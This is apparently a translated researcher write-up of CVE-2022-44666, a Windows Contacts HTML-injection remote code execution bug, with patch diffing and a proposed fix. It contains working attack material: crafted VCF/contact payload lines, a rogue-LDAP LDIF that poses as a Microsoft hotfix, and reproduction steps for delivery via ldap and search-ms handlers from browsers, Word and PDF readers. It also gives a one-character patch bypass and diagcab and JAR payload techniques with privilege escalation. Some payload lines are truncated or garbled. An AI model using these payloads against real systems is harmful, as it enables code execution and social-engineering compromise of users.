
これは、[John Page (aka hyp3rlinx)][R.1] によって 4 年以上前に完全に開示された、別の忘れ去られた 0day の話です。このレポートを理解するには、私が愚かであることを考慮する必要があります :-) そして、私の愚かさが、単純な問題を解決するためにより長い道のりを歩ませるのですが、それは同時に、いくつかのバグを悪用する別の方法を見つけることにもつながります。なぜこんなことを言うのでしょうか? なぜなら、.contact ファイルを作成する方法が、単に連絡先フォルダを参照して連絡先を作成することであるとすぐに理解できず、代わりにこの情報を使って最初に VCF ファイルを作成し、その後、それが何らかの亜種であると誤って考えてしまったからです。それはまた、私の脳がどうして一部の 0day がこんなに長い間忘れられるのか理解できないからでもあります ¯\(ツ)/¯ それが完了し、[MSRC][R.2] と [ZDI][R.3] から「wontfix」の返答があった後、重大度を高めるためのさらなる調査が行われ、最終的に .contact ファイルと Windows URL プロトコルハンドラ「ldap」に到達しました。
[この脆弱性][R.4] のエクスプロイトコードを読んでいたときに、実際に 0day としてリリースされたもので、[ZDI のレポート][R.5] を見つけることができます。
2022/07/21 更新: このケースを MS に報告した後、MSRC の人々は、Windows Contacts が VCF ファイルを開くデフォルトプログラムではないと正しく指摘しました。

さらなる調査により、Win7 ESU および WinServer2019 における VCF ファイルのデフォルトプログラムは Windows Contacts (wab.exe) であることが示されています。それ以外の場合は MS People (PeopleApp.exe) が使用されます。以下はこのテストの完全な表です。
いずれにせよ、彼らは、細工された VCF ファイルを開き、いくつかのリンクをクリックしてバグを悪用するなどのソーシャルエンジニアリングが関与しているため、セキュリティ更新プログラムの MSRC バグ基準を満たしていないと主張しています。

2022/07/25 更新: さて、さらなる調査の結果、同じバグであることがわかりました。最終的に .contact の概念実証を見つけることができました。HTML エンティティを使用して .contact ファイルを正しく解析することが実際に可能です。これにより、以前の問題(2022/07/21 更新)が解決され、このファイル形式 (.contact) は、システムに MS Office がインストールされている場合でも、Windows Contacts によって開かれます。これは、このファイル拡張子のデフォルトプログラムです。まだファイルの関連付けが行われていない場合は最初の関連付けが必要ですが、デフォルトでインストールされているこれを行う唯一のプログラムは Windows Contacts です。
2022/07/25 更新: このさらなる調査により、しばらく前に達成しようとしていた点に到達しました。つまり、URL プロトコルハンドラを使用して、細工された連絡先データを自動的に開き、バグを悪用することです。ldap URI スキームのおかげで、最終的にそれを動作させることができました。このスキームはデフォルトで Windows Contacts アプリケーションに関連付けられているため、不正な LDAP サーバーをセットアップし、mail、url、wwwhomepage 属性の下でペイロードデータを提供するだけで、悪用の影響が大きくなります。これは、悪意のある VCF/Contact ファイルをダブルクリックする必要がなくなり、URL プロトコルを使用して配信できるためです。
2023/02/08 更新: MSRC の好意により、[John Page (aka hyp3rlinx)][R.1] が [CVE-2022-44666][R.10] の発見に関する謝辞ページに含まれました。

このレポートは基本的に上記のリンクと同じですが、関与するソーシャルエンジニアリングを少し改善しました。実際、最初に行ったことは、リンクの見え方を改善することでした。まるで XSS 脆弱性であるかのように、実際には HTML インジェクションであるため、最初のアンカー要素を閉じて新しいものを挿入することが可能です。次に、それらの HTML 要素の可視性を削除したかったので、できるだけ長い "innerHTML" を設定するだけでそれらを隠すのに十分でした(文字数制限があるため)。
これが使用された最終ペイロードです:```html URL;WORK:">CLICKMEEEEE...
何が起こるか確認するには、procmonを実行し、href属性の偽のターゲットを次のように設定します。```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
リンクをクリックすると、procmon で以下のような出力が確認されます:

これは最初の 'CreateFile' 操作のスタックトレースです:``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
**Shell32!ShellExecuteExW** にブレークポイントを設定すると、関連する関数のより明確なイメージが得られます。```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
そして、関連する疑似コードは次の通りです:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
この後、問題は実際には[SysLink controls in comctl32.dll library][R.6]と、wab32.dllライブラリによるhref属性の解析方法に関係していることが明らかになります。
これを悪用するためにリモート共有場所やWebDAVを使用することはできません。```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
ファイル情報は照会されますが、実行されることはありません。

相対パスを使用することも可能です。例:```html URL;WORK:">CLICKMEEEEE...

例:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

さらに進めて、攻撃ベクターとしてrundll32をテストしている際に、選択したペイロード実行ファイルで引数を使用できないことに気づきました。しかし、選択した実行可能ファイルをターゲットとするlnkファイルを使用すると、コマンドライン引数を使用できました。少しトリッキーですが機能します。```html URL;WORK:">CLICKMEEEEE...
run.lnkのターゲット:```
rundll32.exe hidden\payload.bin,Foo"

これはより興味深い。ターゲットシステムに実行可能ファイルをドロップする必要がないからだ。
現在ログインしているユーザーとしてのリモートコード実行。
Windows 連絡先を使用して .vcf ファイルを開くためのファイルの関連付けが存在している必要がある。
2021/07/25 更新: 連絡先ファイル (.contact) の場合、既定で開くアプリケーションは Windows 連絡先のみである。ターゲットシステムに MS Office がインストールされている場合でも同様。
./report-pocs/ にあるファイルを使用する:
./videos に添付されたビデオがいくつかある:


これは ./report-pocs/ にある概念実証ファイルの概要:
./src にあるファイル:
さらなる悪用として、脆弱性がリモート共有場所のファイルをロードすることを許可しないため、URI プロトコル "search-ms" は興味深いベクターである。calc や notepad のようなローカルバイナリのみをトリガーする概念実証と、ローカルファイルを実行しないため weaponized exploit と名付けたより複雑な概念実証が見つかる。これらの PoC およびエクスプロイトは ./further-pocs/ にある。
これは対象アプリケーションの概要:
再現するには:
リモート共有場所 (SMB または WebDav) をセットアップする。./further-pocs/to-copy-in-remote-shared-location/ の内容をそこにコピーする。
必要に応じて、./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat を実行してファイルを隠す。
./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ にある exploit.html/poc.html ファイルを変更し、リモート共有場所を指すようにする。
対象アプリケーションパス、つまり ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/ で Web サーバーを起動する。
ケースに応じて poc/exploit ファイルを実行する。
詳細については、./videos にあるビデオを参照:





さらに、これらはさらなる悪用のための全ファイル:
MSRC から 2022/07/21 のアップデート を受け取った後、連絡先ファイル拡張子を調査することにした。これにより、それが元の発見者が発見したものと同じケースかどうかが確認されるはずであり、もちろんその通りだった。最初の概念実証は単に異なるファイル形式を使用しただけだったが、バグは同じである。 "C:\Program Files\Windows Mail" にある wabmig.exe を使用するだけで、すべての VCF ファイルを連絡先ファイルに変換できる。

そして、導入部のアップデートで述べたように、これらのファイルは Windows 連絡先 (既定のプログラム) によって開かれる。
再現手順は VCF ファイルで使用したものと同じである。VCF ファイルで観察されたのと同じ制限が連絡先ファイルにも適用される。つまり、属性 "href" にリモート共有場所を使用することはできないが、ローカルパスまたは URL プロトコル "search-ms" を使用することは依然として可能である。
これらは連絡先ファイルを悪用するために追加または変更された全ファイル:
前述のとおり、このさらなる調査により、しばらく前から目指していた点に到達した。つまり、何らかの URL プロトコルハンドラを使用して、細工された連絡先データを自動的に開き、バグを悪用することである。この課題は ldap URI スキームのおかげでついに達成された。```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
つまり:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
不正なLDAPサーバーをセットアップし、ペイロードデータを配信するだけで、このURLプロトコルハンドラを使用して、ldif属性のmail、url、またはwwwhomepageに悪意のあるペイロードを含むWindows Contacts(wab.exe)を起動することが可能です。なお、[ここ][R.8]で示されているように、属性「wwwhomepage」ではこれを動作させることができませんでしたが、理論的には動作するはずです。
作成されたldifコンテンツは次のようなものです:
...
dn: dc=org
dc: org
objectClass: dcObject
dn: dc=example,dc=org
dc: example
objectClass: dcObject
objectClass: organization
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org
cn: Microsoft
gn: Microsoft
company: Microsoft
title: Microsoft KB5001337-hotfix
mail:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/..%5Chidden%5Cpayload.lnk">Run-installer...</a>
url:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/..%5Chidden%5Cpayload.exe">Run-installer...</a>
wwwhomepage:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/notepad">Run-installer...</a>
objectclass: top
objectclass: person
objectClass: inetOrgPerson
...
```
そして、不正なLDAPサーバーのコードは、ldaptorプロジェクトのクイックスタートサーバーから借用されました。[こちら][R.9]にあります。
これは対象アプリケーションの概要です:
* ブラウザ: MS Edge, Google Chrome, Mozilla Firefox & Opera.
* MS Word.
* PDFリーダー (主にAdobe Acrobat Reader DC & Foxit PDF Reader).
再現手順は以下の通りです:
1. [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) をリモートの共有場所(SMBまたはWebDav)にコピーします。
2. 必要に応じて、[./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat) を実行してファイルを非表示にします。
3. pipでldaptorをインストールします: pip install ldaptor。これはPython 2.7 x64でテストされていることに注意してください。
4. [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py) にある不正なLDAPサーバーを起動します。
5. 対象アプリのパスでウェブサーバーを起動します。つまり: ./further-pocs/[ベクターまたは対象アプリ]/url-protocol-ldap/。
6. ケースに応じてエクスプロイトファイルを実行します。
7. 詳細については、[./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos) にあるビデオを参照してください:
- 7.1. ブラウザの場合: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif)。

- 7.2. MS Wordの場合: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif)。

- 7.3. PDFリーダーの場合: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif)。

以下は、URLプロトコルldapを悪用するための追加ファイルです:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): 不正なLDAPサーバー上でURLプロトコルldapを読み込み、メールとURL用に細工されたデータを返すHTMLファイル。
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): 不正なLDAPサーバー上でURLプロトコルldapを読み込むためのリモートテンプレート(別名htmlfile activex)で、メールとURL用に細工されたデータを返します。
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): リモートテンプレート(別名htmlfile activex)をトリガーするRTF形式のWordファイル。
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): リモートテンプレート(別名htmlfile activex)をトリガーするDOCX形式のWordファイル。
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): 不正なLDAPサーバー上でURLプロトコルldapを読み込み、メールとURL用に細工されたデータを返すHTMLファイル。
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): デフォルトブラウザをトリガーしてURIプロトコル"ldap"を実行するPDF。
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): ldaptorのサーバーサンプルをベースにしたPythonスクリプトで、Python 2.7で動作し、ldif属性mail、url、wwwhomepageを通じてバグを悪用するための細工されたデータを提供します。
## CVE-2022-44666: パッチ分析と不完全な修正
2022年12月13日、Microsoftはこの脆弱性のパッチを[CVE-2022-44666][R.10]としてリリースしました。
パッチの差分分析に使用されたバージョン(C:\Program Files\Common Files\System\wab32.dllにあります)は以下の通りです:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (パッチ前)
+ MD5: D1708215AD2624E666AFD97D97720E81 (パッチ後)
影響を受けるライブラリ(wab32.dll)を[@matalaz][R.12]による[Diaphora][R.11]で差分分析すると、いくつかの新しい関数が見つかります:

そして、これらは部分一致です:

関数"fnSummaryProc"の新しいコードを見てみましょう:```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
```
修正後、新しいコードは関数 "SafeExecute" (2) を呼び出すか、メッセージボックス (4) を表示します。

関数 "SafeExecute" (2) の呼び出しに到達するには、(1) のコードフローに従うことができます:```cpp
_BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn)
{
const WCHAR *v1; // rbx
_BOOL8 result; // rax
DWORD pcchOut; // [rsp+30h] [rbp-68h]
char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn;
result = 0;
if ( UrlIsW(pszIn, URLIS_URL) ) // (5)
{
memset_0(&Dst, 0, 0x40ui64);
pcchOut = 32;
if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0
&& (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6)
{
result = 1;
}
}
return result;
}
```
この関数は、まず [URL は (5) で有効である][R.13] を確認し、次に (6) で "http" または "https" で始まるかどうかをチェックします。このコードパスは一見安全に見えます。関数 "fnSummaryProc" に戻ると、(3) の修正を回避するのに役立つ別のコードパスがあります。```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
```
(7) について一つ気になった点がある。ここではコードが文字 '@' が存在するかどうかをチェックしている。そして、'@' の後の文字列がドメイン名かどうかを確認するために、関数 "IsDomainName" を呼び出している:```cpp
__int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3)
{
int v3; // edi
int v4; // ebx
int v5; // er9
__int64 v6; // rdx
v3 = a3;
v4 = a2;
if ( !a1 )
return 0i64;
LABEL_2:
v5 = *a1;
if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E )
return 0i64;
while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) )
{
if ( (unsigned __int16)v5 >= 0x80u )
return 0i64;
if ( (unsigned __int16)(v5 - 10) <= 0x36u )
{
v6 = 19140298416324617i64;
if ( _bittest64(&v6, (unsigned int)(v5 - 10)) )
return 0i64;
}
if ( (_WORD)v5 == 46 )
{
a1 = CharNextW(a1);
if ( a1 )
goto LABEL_2;
return 0i64;
}
a1 = CharNextW(a1);
v5 = *a1;
}
if ( v4 )
{
if ( (_WORD)v5 != 0x3E )
return 0i64;
if ( v3 )
*a1 = 0;
}
return 1i64;
}
```
したがって、この修正を回避する方法は非常に簡単です。単一の文字「@」を使用するだけで十分です。次のようなsymlinkのhref属性は、修正を正常にバイパスします:```html
hidden\@payload.lnk
hidden\@payload.exe
```
(No content provided)```html
[email protected]
[email protected]
```
詳細については、[スタンドアロンコンタクトファイル](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif)の動画があります。

概念実証は [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs) にあります。
[MS Word と LDAP URL プロトコル](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif)の別の動画もあります。

概念実証は [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs) にあります。
パッチリリースから1日後、この情報はMSRCに送信されました。残念ながら、このケースは最近、それ以上の情報なしでクローズされました。

## Diagcab ファイルをペイロードとして使用
[CVE-2022-30190][R.14]([Follina脆弱性][R.15]としても知られる)および [CVE-2022-34713][R.16]([DogWalk脆弱性][R.17]としても知られる)の後、[公知だが過小評価されているテクニック][R.18]が [@buffaloverflow][R.19] のおかげで再び復活しました。私の仲間であり友人の [Eduardo Braun Prado][R.20] がこのテクニックをここで使うアイデアをくれました。
これにはいくつかの前提条件があります:
1. 対象ユーザーは管理者グループに属している必要があります。そうでなければUACプロンプトが表示されます。
2. diagcabファイルは署名されている必要があるため、コード署名証明書が対象コンピュータにインストールされている必要があります。
実際の攻撃シナリオでは、対象システムに実際にインストールされているコード署名証明書を盗むことになるでしょう。しかし、これはあくまで概念実証であるため、自己署名のコード署名証明書を生成し、[@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab) という名前のdiagcabファイルに署名するために使用しました。
再現するには、[cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer) にある証明書を信頼されたルート証明機関の下にインストールする必要があります([このように](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif)):

最後に権限昇格を行うために、トークンスティーリング/偽装を使用できます。この場合、["親プロセス" テクニック][R.21]が[選択されました][R.22]。このスクリプト用に修正されたバージョンがresolverスクリプト内に含まれています。
詳細については、[MS Word と LDAP URL プロトコル](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif)の動画があります。

概念実証は [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs) にあります。
## JAR ファイルをペイロードとして使用
***2023/06/19 更新:*** [@pfiatde][R.24] の「ZipJar」に関する[投稿][R.25]を読んだ後、この興味深い情報により、JARファイルはこの脆弱性のペイロードとして使用するのに適した候補となります。ちなみにこれは現在でも0dayであり、MotWが無視され、プロンプトを受け入れる必要がありません。
JARペイロードはgithubリポジトリ [calc_security_poc][R.26] から取得しました。
小さなビルダー [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc) を添付しました。テンプレートから独自のPOCを作成できます。

[@microlovu][R.27] と [@mlftsecresponse][R.28] に感謝することを忘れないでください。 😂
## 提案された修正
関数 "fnSummaryProc" 内の脆弱なコードを思い出してください:```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
```
The function "IsInternetAddress" was intentionally created to check if the href attr corresponds to any email address. So my proposed fix (and following the imported functions that the library uses) would be:```cpp
...
if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
{
v30 = v23;
goto LABEL_44;
}
...
```
